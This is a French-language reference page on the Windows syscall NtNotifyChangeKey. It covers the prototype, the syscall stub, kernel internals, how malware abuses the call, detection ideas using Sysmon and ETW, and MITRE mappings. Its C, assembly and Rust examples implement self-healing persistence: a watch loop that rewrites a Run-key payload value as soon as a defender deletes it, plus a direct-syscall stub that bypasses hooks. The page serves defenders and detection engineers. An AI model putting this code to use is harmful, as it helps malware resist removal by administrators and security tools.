NtNotifyChangeKey

Prototype

NTSTATUS NtNotifyChangeKey(
  HANDLE             KeyHandle,
  HANDLE             Event,
  PIO_APC_ROUTINE    ApcRoutine,
  PVOID              ApcContext,
  PIO_STATUS_BLOCK   IoStatusBlock,
  ULONG              CompletionFilter,
  BOOLEAN            WatchTree,
  PVOID              Buffer,
  ULONG              BufferSize,
  BOOLEAN            Asynchronous
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 23 01 00 00      mov eax, 0x123
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

NtNotifyChangeKey est l'analogue registre de NtNotifyChangeDirectoryFile et l'implémentation noyau derrière `RegNotifyChangeKeyValue`. Le noyau alloue un CM_NOTIFY_BLOCK attaché au KCB de la clé et signale l'événement fourni / file l'APC dès que CmpNotifyChangeKey est atteint pendant une mutation de CM_KEY_CONTROL_BLOCK. L'attente étant à coup unique, les appelants se ré-arment en appelant NtNotifyChangeKey à nouveau depuis le corps de l'APC — d'où un motif reconnaissable de « boucle de notification » dans les piles d'appels mode utilisateur.

Usage courant par les malwares

Des loaders soucieux de leur persistance s'enregistrent sur `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` (ou l'arbre per-user `Image File Execution Options`) et *s'auto-réparent* dès qu'un EDR ou un admin efface la valeur — l'APC se déclenche, l'implant réécrit la valeur, et la suppression semble n'avoir jamais eu lieu. Le même primitive permet de surveiller `HKLM\SYSTEM\CurrentControlSet\Services\<EDR>\Start` et de réagir si un défenseur tente de désactiver un service concurrent. Sysmon utilise lui-même NtNotifyChangeKey en interne pour alimenter les Event IDs 12/13/14, donc la présence du syscall n'est pas anormale en soi.

Opportunités de détection

Hooker NtNotifyChangeKey depuis le mode utilisateur est trivial mais contournable par syscalls directs. Le signal exploitable est *corrélé* : un Sysmon Event 13 (ValueSet) re-créant une valeur Run quelques millisecondes après un Event 12 (DeleteValue) par la même image est un indicateur quasi-parfait d'auto-réparation pilotée par notification. Côté noyau : le fournisseur ETW Microsoft-Windows-Kernel-Registry émet des événements RegistryNotify mais n'est pas activé par défaut. Les EDR qui hookent CmRegisterCallbackEx peuvent observer l'enregistrement directement. En hunt, rechercher les processus ayant des handles *longue-durée* sur des clés Run ouvertes avec KEY_NOTIFY — peu de logiciels légitimes le font hors d'Explorer et du SCM.

Exemples de syscalls directs

// Watch HKCU\...\Run and rewrite our value the moment it's deleted or modified.
HANDLE hEvent = CreateEventW(NULL, FALSE, FALSE, NULL);
HANDLE hKey;  // already opened with KEY_NOTIFY | KEY_SET_VALUE
IO_STATUS_BLOCK iosb;

for (;;) {
    NTSTATUS st = NtNotifyChangeKey(
        hKey, hEvent, NULL, NULL, &iosb,
        REG_NOTIFY_CHANGE_LAST_SET | REG_NOTIFY_CHANGE_NAME,
        FALSE,           // WatchTree
        NULL, 0,         // Buffer / size — always NULL today
        TRUE             // Asynchronous
    );
    if (st != STATUS_PENDING) break;
    WaitForSingleObject(hEvent, INFINITE);
    // Re-write the value — appears as if the deletion was undone.
    RegSetValueExW(hKey, L"Updater", 0, REG_SZ,
                   (BYTE*)g_payloadPath, (DWORD)((wcslen(g_payloadPath)+1)*2));
}

NtNotifyChangeKey PROC
    mov  r10, rcx
    mov  eax, 123h
    syscall
    ret
NtNotifyChangeKey ENDP

// Cargo: ntapi = "0.4", windows-sys = "0.59"
unsafe extern "system" fn on_change(_apc_ctx: *mut c_void, iosb: *mut IO_STATUS_BLOCK, _r: u32) {
    // APC fires in the registering thread when the key mutates.
    rewrite_run_value();
    rearm_watch();
}

unsafe fn arm_watch(h_key: HANDLE) {
    let mut iosb = zeroed();
    NtNotifyChangeKey(
        h_key, null_mut(),
        Some(on_change), null_mut(),
        &mut iosb,
        REG_NOTIFY_CHANGE_LAST_SET,
        0,                 // WatchTree = FALSE
        null_mut(), 0,
        1,                 // Asynchronous = TRUE
    );
}

Mappings MITRE ATT&CK

• T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup Foldermitre ↗
• T1112Modify Registrymitre ↗
• T1106Native APImitre ↗